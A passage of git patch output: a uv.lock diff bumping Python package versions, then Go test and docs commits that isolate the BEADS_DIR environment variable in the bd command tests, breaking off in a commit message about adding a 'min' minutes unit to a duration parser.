"2026-08-28T10:01:05.004Z" }, + { url = "https://files.pythonhosted.org/packages/fa/04/c81d4841331c2178b6fb09ae225425e110ed72d990c9fe556c4ec03d1013/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e24d8f05fa2d28513d94e877e9c75ad66175376209b3977f916e240e623193c", size = 2111034, upload-time = "2026-08-28T10:01:07.345Z" }, + { url = "https://files.pythonhosted.org/packages/20/21/22102e9950b3049526d20e811b95396508377d87651edd2b80d2b3d28659/pydantic_core-2.46.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ab4b66edffb32d9e951efb3814bd104b8367a7501b81b955cacb5726d897389f", size = 2071333, upload-time = "2026-08-28T10:01:09.636Z" }, + { url = "https://files.pythonhosted.org/packages/d8/18/87aefa427d191e6d3ab1447f1efc1cdcac86af1069239b133e8a0fd7f7c9/pydantic_core-2.46.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:337639ba62a11acde6ef3aeb08c8ea755f8ef1fe5e513356c0f36a2b0d7568b0", size = 1912713, upload-time = "2026-08-28T10:01:12.285Z" }, + { url = "https://files.pythonhosted.org/packages/1f/93/fd89e9ad49b1805ca94d24ce1088b7d305f05c35ffafcedb9819d03588a0/pydantic_core-2.46.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:413a717a410d0c817ef5b786a059415550b3794e1d0c2abffd9efb93a3d9f7b4", size = 2090926, upload-time = "2026-08-28T10:01:15.19Z" }, + { url = "https://files.pythonhosted.org/packages/6f/45/8e59dab6acf8d35f02f0a958980074f31038968bdb2c983fcae9d1efee03/pydantic_core-2.46.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1e449def1945a462c464331254e5a44fca7c3b4f9aedf59ec2f50f8066dd8e25", size = 2131303, upload-time = "2026-08-28T10:01:17.937Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a5/e1d4dc5180dd887a9522efc1f8716b8692b7606b1d3273d7862eaf66be44/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:a445486499897b88a7d6c310c88ed64dd37b1b59bfd7ae9107490bbb362f47d6", size = 2145128, upload-time = "2026-08-28T10:01:20.694Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d7/ad493864a7fb21c0c4df98f965e2db430cb25a9d7369b5778d5016c09fd9/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:2d330aaba8621b1edcec8ae2c4050f63b84ccf6d98723a8f212e9684713abf0e", size = 2294560, upload-time = "2026-08-28T10:01:23.495Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/b41c84c913f29973a268e6c2b5bbf13c95adb9956c126d10da11ba3b2bef/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:b6acfb46a814762367fb7ba0828b0a17d441b92ce249a0e007474c9072662dda", size = 2317531, upload-time = "2026-08-28T10:01:26.334Z" }, + { url = "https://files.pythonhosted.org/packages/db/1d/068464f23075f66a8f1b806935e9cd9363ee446636ea70d2c22ee8659dbf/pydantic_core-2.46.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d0a24b40877af2de4950252be9d21eaf7fb07660f3c2cae1f56c6b599ada5266", size = 2140686, upload-time = "2026-08-28T10:01:28.947Z" }, ] [[package]] @@ -1885,8 +1895,9 @@ resolution-markers = [ "python_full_version >= '3.15'", "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'", - "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'", + "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", ] sdist = { url = "https://files.pythonhosted.org/packages/aa/2a/9618a122aeb2a169a28b03889a2995fe297588964333d4a7d67bdf46e147/rpds_py-2026.6.3.tar.gz", hash = "sha256:1cebd1337c242e4ec2293e541f712b2da849b29f48f0c293684b71c0632625d4", size = 64051, upload-time = "2026-06-30T07:17:53.009Z" } wheels = [ @@ -2009,27 +2020,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.16.5" +version = "0.16.8" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f3/85/c8e12473c93018f92d19dd988a294202e1c27426c47ec4de53ffb847b8d8/ruff-0.16.5.tar.gz", hash = "sha256:1b88500f9ffbcab3dedb0082c9f9492e91ec3d618aac1236a3e0189938f7040b", size = 4912003, upload-time = "2026-08-27T16:34:18.258Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ba/78/449cb84790bd5cc3823b2652ee405a4558856e5c4195aee3a16bf7b3eb5d/ruff-0.16.8.tar.gz", hash = "sha256:9247bf92b5f04d825c8639a4fe423ec2e4222acd9222e58412b0dab7e442798b", size = 4938814, upload-time = "2026-09-16T15:54:46.688Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/c6/b6/77c90a970fe2dae17a723acbd011043ea97c98d7deacccefdc4ba74ec512/ruff-0.16.5-py3-none-linux_armv6l.whl", hash = "sha256:12e5f673e774c35fbb62f288809c7653b73445f8ecec6b6063fd6ea3521aa14b", size = 10011941, upload-time = "2026-08-27T16:33:41.287Z" }, - { url = "https://files.pythonhosted.org/packages/4b/46/6cf67cf6411885a1d6f7f6d801682f155536a85176d10b605e2ceffed8bd/ruff-0.16.5-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:eda58a5802de40e7ed5b32b64e0b32539338cc6fcd2c78f61e3ad6a0d79f51c3", size = 10204049, upload-time = "2026-08-27T16:33:44.056Z" }, - { url = "https://files.pythonhosted.org/packages/46/fd/c8720ca7a090abf0c2fef4abe8a5ef6e5127ed15196d8886ff75a2b370e2/ruff-0.16.5-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5ae9a7b9a8875131f40f8fe967cc86abf899779efd663cb7ce3d572d01da7eb", size = 9809037, upload-time = "2026-08-27T16:33:46.257Z" }, - { url = "https://files.pythonhosted.org/packages/43/45/a684caacdedaca180f52bacccc40bf0789d2c5a7c75f25324853e9eaedb5/ruff-0.16.5-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7b719b0a1f4d59710d283ab2965f621684a108a9e41da622e3b23f0326cd0025", size = 9964129, upload-time = "2026-08-27T16:33:48.352Z" }, - { url = "https://files.pythonhosted.org/packages/9e/f2/5d2bcdaca6b5b93d1b4dfc166cd2aebf7680143a1b38a28759df13a94d31/ruff-0.16.5-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2298f2780ed1be0c5cb1361e32ab7b1467f3cce7dabe101d2210a314f2fe42e9", size = 9821518, upload-time = "2026-08-27T16:33:50.57Z" }, - { url = "https://files.pythonhosted.org/packages/aa/ff/011cce29accf9257d5974145b733fc653a37985ed6825413a3987cefbfe0/ruff-0.16.5-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:258f29035a2dd021e7861e631b227a5b3f14e50c1184c9a6a122c5f4576154d7", size = 10534835, upload-time = "2026-08-27T16:33:52.522Z" }, - { url = "https://files.pythonhosted.org/packages/d7/5a/f0cf109bada9bba0e96c90c21c9f9251803f57225c32d293327a03c710d6/ruff-0.16.5-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b9a4f0432966834019c74d1b7e5c51224305d7713f3d7faf3e7451f1a3be3cde", size = 11252550, upload-time = "2026-08-27T16:33:54.521Z" }, - { url = "https://files.pythonhosted.org/packages/63/4d/1d481aaea2046c6a7ed7c291f9004c669cce3c087b6b376ed5b08271e3fe/ruff-0.16.5-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b5eb3a8c3d0ade9cea42b591fd530368e8798380e30e0a308b85a5cf718f09ea", size = 10777949, upload-time = "2026-08-27T16:33:56.88Z" }, - { url = "https://files.pythonhosted.org/packages/ee/34/ee245ca55f64443233034b3d02b03236b19242004281247c079390b7facd/ruff-0.16.5-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef0f69e191a13a3c9816f63163c88790cb12cd157bbbb384e9c44745702ab105", size = 10311656, upload-time = "2026-08-27T16:33:59.12Z" }, - { url = "https://files.pythonhosted.org/packages/a7/4d/c33a333e341c0a2b96c715b52d89a606f5a34cd4ac493cd9b8d0187186b8/ruff-0.16.5-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:0eeab41fbea2c42f98dfb9822cdccda9d24ba38d49f6dc945b5c236d48f0ef29", size = 10532125, upload-time = "2026-08-27T16:34:01.166Z" }, - { url = "https://files.pythonhosted.org/packages/30/e1/a64cef78b40192497bb98a27a8aa8f2c98ee9ee15bc97f7712d94ef32937/ruff-0.16.5-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f0768e9df4300713fff30733c87575f68b6f1d8de41184e505b7fdd9c0c95eaf", size = 10097648, upload-time = "2026-08-27T16:34:03.16Z" }, - { url = "https://files.pythonhosted.org/packages/cc/4e/4cdc9ed3c3e109d2f71e62572a37457298d7bc7501ec3138babb7ed32bbd/ruff-0.16.5-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:95cc70cdc7aa80c338de356279d2adbeb2de0f520b9ecd8aba75b94e95e02f91", size = 9829344, upload-time = "2026-08-27T16:34:05.134Z" }, - { url = "https://files.pythonhosted.org/packages/39/4a/31ed35ce31729955fc583ee0d176d6e784c1290cb0b0a75cb2134c1ab72a/ruff-0.16.5-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d185c8398ded1bfd91c0c2cb258346307571eccc473a8490af8c3977399c384a", size = 10277117, upload-time = "2026-08-27T16:34:07.425Z" }, - { url = "https://files.pythonhosted.org/packages/a8/a0/60356d86687b4b666d593df213f4dc3041750d024cb7bf2cfa81cfd65c2e/ruff-0.16.5-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:fb8e3a3c4c6a784150a7ced53b015f4b253fc2bf97a610886419ead64b4756ef", size = 10711653, upload-time = "2026-08-27T16:34:09.712Z" }, - { url = "https://files.pythonhosted.org/packages/ed/20/656d67f5b25ca9bda4e02b1de25867b2954e1d19e03648060f167ad0f4cc/ruff-0.16.5-py3-none-win32.whl", hash = "sha256:288b0a5f080492fe5635db849f9e2e84aa3cce7b7f0e955997d416c507c76a26", size = 10034250, upload-time = "2026-08-27T16:34:11.8Z" }, - { url = "https://files.pythonhosted.org/packages/5b/42/ee8e68a207b9127fcde6c3d7e197def432f346cb1af159e1fa14ca0d1cdc/ruff-0.16.5-py3-none-win_amd64.whl", hash = "sha256:ddc6385fb2137f616357ca03d6c74f4be987f80fed4008566b754f6032b8546f", size = 10516714, upload-time = "2026-08-27T16:34:13.963Z" }, - { url = "https://files.pythonhosted.org/packages/73/e3/7df5a396e445b9ba49ce9a9437439a4d80042c61c0ade199abf8d16de1ac/ruff-0.16.5-py3-none-win_arm64.whl", hash = "sha256:a64abe90968719b851bb7cedffaa8753fbdbdadab483089682db623f3edc587e", size = 10391564, upload-time = "2026-08-27T16:34:16.064Z" }, + { url = "https://files.pythonhosted.org/packages/ac/25/6071aabc530e9be7e2c195e8fe3f7aea2735405b6cf447212832d7811831/ruff-0.16.8-py3-none-linux_armv6l.whl", hash = "sha256:6ffbd6d87383c1edf5f6fa890f10200950240d7c1a16052a19a09d3a2307dd38", size = 10048966, upload-time = "2026-09-16T15:53:57.605Z" }, + { url = "https://files.pythonhosted.org/packages/54/98/07f90ecbc74dd5fb5764f11f2bc774d6a7cffef92d2ff5f5b4e9e23c754e/ruff-0.16.8-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:42ed6b878ed61e3acca92f2730a17acff39286944ea82398544696366a6f925e", size = 10165498, upload-time = "2026-09-16T15:54:01.14Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1f/e6a712e3b47cad4a40600134105ed193cb773f618a42eb7ba323cb812cc0/ruff-0.16.8-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7ea781c7f2afba8c6a505ea0fb3f994020249e0c450635f5381286fea6b46170", size = 9830004, upload-time = "2026-09-16T15:54:03.998Z" }, + { url = "https://files.pythonhosted.org/packages/23/f2/311a08776d75d81c7676e20b6b020ae63cbe881fcdc7a8dd64e6e18bdd93/ruff-0.16.8-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8efeae3bbe414a5efefda11a792dfb51ef90ac48d50c4830de2f644caf3e8659", size = 9986558, upload-time = "2026-09-16T15:54:06.804Z" }, + { url = "https://files.pythonhosted.org/packages/f3/ed/37b6cb3d3ba8c73e68ae3eb1d502383beb5aa05a582bb7bb3a922f929f54/ruff-0.16.8-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a79b795469fef7fc6e908b218eed2eb17332afd85031db6480dc864560e69b2", size = 9877332, upload-time = "2026-09-16T15:54:09.552Z" }, + { url = "https://files.pythonhosted.org/packages/22/cc/40873a8f36ad084cc540d55fcca7077264d5b13b24659e9180c176fb2b08/ruff-0.16.8-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3fdc5563cdc50555e6fba39322850860e9267c1b3d12c26a74729d8604c3c812", size = 10507125, upload-time = "2026-09-16T15:54:12.152Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e4/fc91a642b78ccbab6b9477720f3644ae7a10a9bcce69a934679cd64f62bc/ruff-0.16.8-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:34508983c70665578dab88f5223d8e6228307e1135398ca8bfc8b7e9501e282b", size = 11336694, upload-time = "2026-09-16T15:54:15.489Z" }, + { url = "https://files.pythonhosted.org/packages/c2/3d/bbd2a9a600a4e73dc3e7548a249c8d1671273464b55822c6fae50f602dff/ruff-0.16.8-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:644bb578569e0ffc575741232bd385dacdd6fbe123f1a729e7a225f54aa3957f", size = 10774448, upload-time = "2026-09-16T15:54:18.16Z" }, + { url = "https://files.pythonhosted.org/packages/1a/41/d83af9879a7b6e8bf5fe16b1da0b134049d2f5d3afac12defb0897cb84bd/ruff-0.16.8-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15e7d226246961db9235098333caa13063906d3851136b84c2900b82f5daa1df", size = 10323796, upload-time = "2026-09-16T15:54:20.743Z" }, + { url = "https://files.pythonhosted.org/packages/f5/2c/cefd07bfe914b84943ea769ade8d607bd22750b965d3228eefd7cebd15d0/ruff-0.16.8-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a2bf6bc3e9ebdd4449abc6f06cf64b98051a2c61cf94d2fe9596518c881f1a1e", size = 10514115, upload-time = "2026-09-16T15:54:23.497Z" }, + { url = "https://files.pythonhosted.org/packages/f3/9d/76a2e26c79a23be6e6e3664c57bec9e9fc8de155cfb9e4b67ea91b64f9d7/ruff-0.16.8-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6ca111ba0849539165e9e59d2b442542f3c1e8060ebbdea82494f1ffbccb1e1f", size = 10072582, upload-time = "2026-09-16T15:54:26.185Z" }, + { url = "https://files.pythonhosted.org/packages/2e/d4/f42edddb39668af1a559ceafa3823aedd65633a48dc9768e775485faa2c1/ruff-0.16.8-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:359a1e5b495448ee1e91018064382ebc86f90e8aac2fed222c7d0e4e8df85fd2", size = 9879644, upload-time = "2026-09-16T15:54:29.278Z" }, + { url = "https://files.pythonhosted.org/packages/f8/d4/913e3195d95e0378786c6656945c865f534a3560e29139da4882aff630d1/ruff-0.16.8-py3-none-musllinux_1_2_i686.whl", hash = "sha256:59e8f5681349474110b24d62e93cfda6593f5fa3473446ca3705200cac1a08b9", size = 10231569, upload-time = "2026-09-16T15:54:32.036Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c4/8aa6ea0bdcedbd1bf87397e2fc4ed8406448ea5842f8660bc6e5f163039d/ruff-0.16.8-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:efa3e7a16d1baaa79957888dfdf8be9ef2e44db81cb032af06d76632ab59e773", size = 10663666, upload-time = "2026-09-16T15:54:34.838Z" }, + { url = "https://files.pythonhosted.org/packages/3d/02/7f10ef4700bc223c30a3fdd10631a29830c45524b810a3c7ed947af64591/ruff-0.16.8-py3-none-win32.whl", hash = "sha256:55793ba85c69921e89be061426d91a78652d6e50317c962240922747a4eb713f", size = 10093472, upload-time = "2026-09-16T15:54:37.47Z" }, + { url = "https://files.pythonhosted.org/packages/1e/5d/a509c07d714b6da88f2c518b4637cf6f1d46b074be8f0f1e5fb9ff5126fe/ruff-0.16.8-py3-none-win_amd64.whl", hash = "sha256:a6b85621fd3c81e31fc5f5add09c9c078b430db3595ca632efafdec9e64ebfaa", size = 10586899, upload-time = "2026-09-16T15:54:40.488Z" }, + { url = "https://files.pythonhosted.org/packages/fe/a0/50787329e4f20bf9dc9f6230015d46ec69c51a97ace5bc202dae4755365d/ruff-0.16.8-py3-none-win_arm64.whl", hash = "sha256:d075e820af612102ce217f07cc93e69f9490b10ec13ea85fa87bd03d996cef8a", size = 10386316, upload-time = "2026-09-16T15:54:43.332Z" }, ] [[package]] @@ -2037,8 +2048,8 @@ name = "secretstorage" version = "3.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "cryptography", marker = "python_full_version >= '3.15' or sys_platform != 'win32'" }, - { name = "jeepney", marker = "python_full_version >= '3.15' or sys_platform != 'win32'" }, + { name = "cryptography" }, + { name = "jeepney" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1c/03/e834bcd866f2f8a49a85eaff47340affa3bfa391ee9912a952a1faa68c7b/secretstorage-3.5.0.tar.gz", hash = "sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be", size = 19884, upload-time = "2025-11-23T19:02:53.191Z" } wheels = [ @@ -2125,16 +2136,25 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" }, ] +[[package]] +name = "truststore" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" }, +] + [[package]] name = "types-requests" -version = "2.33.0.20260712" +version = "2.33.0.20260906" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "urllib3" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/db/51/703318f7b7be8bee126ec13bf615050f932d0179b8784420f3a0199cc769/types_requests-2.33.0.20260712.tar.gz", hash = "sha256:2141b67ab534a5c5cd2dac5034f2a35f42e699c5bf185eee608c5246a069d7fb", size = 25084, upload-time = "2026-07-12T05:14:20.455Z" } +sdist = { url = "https://files.pythonhosted.org/packages/c0/18/4c2c0290953f8b3b9612adfcb07b57f144ade3ad32a76764fca42b77c5f3/types_requests-2.33.0.20260906.tar.gz", hash = "sha256:76ab8a0fb736744a0c3deee7aa57b2927e301f078d9e61f5391b3e92002416b9", size = 25263, upload-time = "2026-09-06T06:35:47.707Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/62/e7/010c87f559e216d83f9dc51e939633fd0d0ead3377340181ab0e223cd3b5/types_requests-2.33.0.20260712-py3-none-any.whl", hash = "sha256:de027e28c171d3da529689cbfa023b0b4eab188c8dfa22fd834eebd2cee6e7bb", size = 21392, upload-time = "2026-07-12T05:14:19.616Z" }, + { url = "https://files.pythonhosted.org/packages/60/4c/51ec821d22a45b4162fa3f3e9e94ea4c0f8c49e82363b10955baa5438391/types_requests-2.33.0.20260906-py3-none-any.whl", hash = "sha256:9f53622652bd921ead7a54d665be1b8d518165c8b51cc9d68d944cd6b6bfa8fb", size = 21461, upload-time = "2026-09-06T06:35:45.856Z" }, ] [[package]] @@ -2435,8 +2455,9 @@ resolution-markers = [ "python_full_version >= '3.15'", "python_full_version == '3.14.*' and sys_platform == 'win32'", "python_full_version == '3.14.*' and sys_platform != 'win32'", + "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'", "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'", - "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'win32'", + "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", ] sdist = { url = "https://files.pythonhosted.org/packages/18/72/fba934cb3dff7a85d811820efffcd141ddd52b5a2a01637f64551373ff4d/websockets-17.1.tar.gz", hash = "sha256:acfea4c20bf54384883ea33b1240fc1db4f52e190823a4e2b334bc3e8bfca96a", size = 187520, upload-time = "2026-08-26T17:25:33.063Z" } wheels = [ From fd8da7b13d026dd057b9403485a01a464808c4bf Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sat, 26 Sep 2026 19:49:44 -0600 Subject: [PATCH 122/624] test(cmd/bd): scope fresh-workspace BEADS_DIR isolation (#6519) * test(cmd/bd): share fresh-workspace environment isolation (saa-cgh.120.22) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(cmd/bd): restore mode globals after isolation regression (saa-cgh.120.22) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(test): scope environment restoration claim to BEADS_DIR Address the wording nit in PR #6519 review 5189902686 without widening the helper. Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell --- cmd/bd/config_isolation_regression_test.go | 65 ++++++++++++++++++++++ cmd/bd/test_helpers_pure_test.go | 11 ++++ cmd/bd/test_repo_beads_guard_test.go | 2 + engdocs/TESTING.md | 8 +++ 4 files changed, 86 insertions(+) diff --git a/cmd/bd/config_isolation_regression_test.go b/cmd/bd/config_isolation_regression_test.go index e8fdd9975..23e1bdb0b 100644 --- a/cmd/bd/config_isolation_regression_test.go +++ b/cmd/bd/config_isolation_regression_test.go @@ -75,6 +75,7 @@ func TestInitConfigForTestNeutralizesLeakedRepoBeadsDir(t *testing.T) { // package-global viper holding the dispatched workspace's issue-prefix for every // later test that does not call initConfigForTest. func TestDispatchDoesNotPolluteViperIssuePrefix(t *testing.T) { + isolateBeadsDirForTest(t) ensureCleanGlobalState(t) t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") @@ -98,6 +99,70 @@ func TestDispatchDoesNotPolluteViperIssuePrefix(t *testing.T) { } } +// Command setup uses raw os.Setenv. A fresh fixture must contain that mutation +// even when its caller's BEADS_DIR was absent, explicitly empty, or inherited. +func TestIsolateBeadsDirForTestCommandCleanup(t *testing.T) { + oldServerMode, oldProxiedServerMode := serverMode, proxiedServerMode + t.Cleanup(func() { + serverMode, proxiedServerMode = oldServerMode, oldProxiedServerMode + }) + + ensureCleanGlobalState(t) + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + for _, tc := range []struct { + name string + value string + present bool + }{ + {name: "absent"}, + {name: "empty", present: true}, + {name: "inherited", value: filepath.Join(t.TempDir(), ".beads"), present: true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv("BEADS_DIR", tc.value) + if !tc.present { + if err := os.Unsetenv("BEADS_DIR"); err != nil { + t.Fatal(err) + } + } + + t.Run("command", func(t *testing.T) { + isolateBeadsDirForTest(t) + if got := os.Getenv("BEADS_DIR"); got != "" { + t.Fatalf("fresh fixture inherited BEADS_DIR = %q", got) + } + beadsDir := newLeakFixtureRepo(t) + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"database":"beads","backend":"dolt"}`+"\n"), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + t.Cleanup(resetCommandContext) + + // Exercise the actual binding used by command dispatch, without a store. + prepareSelectedCommandContext(beadsDir, false) + got, err := os.Stat(os.Getenv("BEADS_DIR")) + if err != nil { + t.Fatalf("stat bound BEADS_DIR: %v", err) + } + want, err := os.Stat(beadsDir) + if err != nil { + t.Fatalf("stat fixture: %v", err) + } + if !os.SameFile(got, want) { + t.Fatal("command binding did not select the fixture workspace") + } + }) + + if got, present := os.LookupEnv("BEADS_DIR"); got != tc.value || present != tc.present { + t.Fatalf("after fixture cleanup BEADS_DIR = (%q, %v), want (%q, %v)", + got, present, tc.value, tc.present) + } + }) + } +} + // runVersionDispatch executes `bd --version` through the shared root command with // stdout discarded. Cobra's command tree and os.Stdout are process-global, so this // holds stdioMutex per the policy documented on that mutex. diff --git a/cmd/bd/test_helpers_pure_test.go b/cmd/bd/test_helpers_pure_test.go index 8c7acf479..8375edf1d 100644 --- a/cmd/bd/test_helpers_pure_test.go +++ b/cmd/bd/test_helpers_pure_test.go @@ -80,6 +80,17 @@ func generateUniqueTestID(t *testing.T, prefix string, index int) string { return prefix + "-" + hex.EncodeToString(hash[:])[:8] } +// isolateBeadsDirForTest starts a fresh-workspace fixture without an inherited +// selection and restores BEADS_DIR exactly after command dispatch, even +// when dispatch changes BEADS_DIR with raw os.Setenv. +// Call before fixture setup or dispatch; like t.Setenv, it is not parallel-safe. +// Tests that intentionally select a workspace should set BEADS_DIR explicitly +// instead; initConfigForTest and ensureCleanGlobalState preserve that selection. +func isolateBeadsDirForTest(t *testing.T) { + t.Helper() + t.Setenv("BEADS_DIR", "") +} + // initConfigForTest initializes viper config for a test and ensures cleanup. // main.go's init() calls config.Initialize() which picks up the real .beads/config.yaml. // TestMain resets viper, but any test calling config.Initialize() re-loads the real config. diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index b43c58221..e129d0b55 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -196,6 +196,8 @@ func testMainInner(m *testing.M) int { // Clear BEADS_DIR to prevent tests from accidentally picking up the project's // .beads directory via git repo detection when there's a redirect file. // Each test that needs a .beads directory should set BEADS_DIR explicitly. + // This is startup isolation only: fresh in-process command fixtures should + // use isolateBeadsDirForTest before setup to contain later dispatch mutations. origBeadsDir := os.Getenv("BEADS_DIR") os.Unsetenv("BEADS_DIR") defer func() { diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index a73949e03..d26675b14 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -84,6 +84,14 @@ Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; do not inherit the developer's global hooks configuration. +In `cmd/bd`, fresh-workspace command fixtures should call +`isolateBeadsDirForTest(t)` before setup or dispatch. It clears inherited +`BEADS_DIR` and restores that variable exactly at cleanup, even after raw +command-dispatch mutations. The `TestMain` reset only isolates startup. +These fixtures must not use `t.Parallel()`. Tests intentionally selecting a +workspace should use `t.Setenv("BEADS_DIR", ...)`; `initConfigForTest` and +`ensureCleanGlobalState` preserve that selection. + For manual CLI experiments, run both initialization and subsequent commands from a disposable working directory: From eb1689cb9d1be0452b8d4236cb8c15e4d94a1d3d Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 18:51:37 -0700 Subject: [PATCH 123/624] fix(timeparsing): add min minutes unit to compact duration parser (#6609) (#6629) * fix(timeparsing): add unambiguous "min" minute unit to compact durations --defer/--due use the compact duration parser, whose smallest unit was one hour. "+30m" silently parsed as 30 months (rc 0, no warning), so a row meant to return in half an hour became ready again years later, while "+30min" was rejected outright. Add "min" as a new minute spelling alongside h/d/w/m/y. Bare "m" keeps meaning months, so existing callers are unchanged; redefining or refusing bare "m" is a semantics change left for maintainer sign-off. Fixes #6609 Co-Authored-By: Claude Sonnet 5 * fix(query): resolve the "min" minutes unit as "N ago" in bd query The widened compact-duration grammar reached the `bd query` plane through the evaluator's ungated fallback arm: `isDurationSuffix` classifies a single rune, so `30min` lexed as TokenIdent, skipped `parseDurationAgo`, and resolved through `ParseRelativeTime` as 30 minutes in the *future* -- the opposite direction from `created > 30m` (30 months ago) and from the command's own documented contract at cmd/bd/query.go:66. Recognize multi-rune duration suffixes in `readNumberOrDuration` so `30min` lexes as TokenDuration and resolves to 30 minutes ago. Plural, uppercase, and identifier-continuation spellings (`30mins`, `30MIN`, `30min-window`) keep their existing identifier classification. Maintainer review fixups for PR #6629, review iteration 1: - pin the query-plane semantics with EvaluateAt tests against a fixed now - make the months assertion in TestParseTimeFlag_MinutesVsMonths two-sided, so it can no longer stay green if "m" regressed to years - mention +30min in the ParseRelativeTime error examples Maintainer review fixups for PR #6629, review iteration 2 (non-gating): - bind the query lexer's unit set 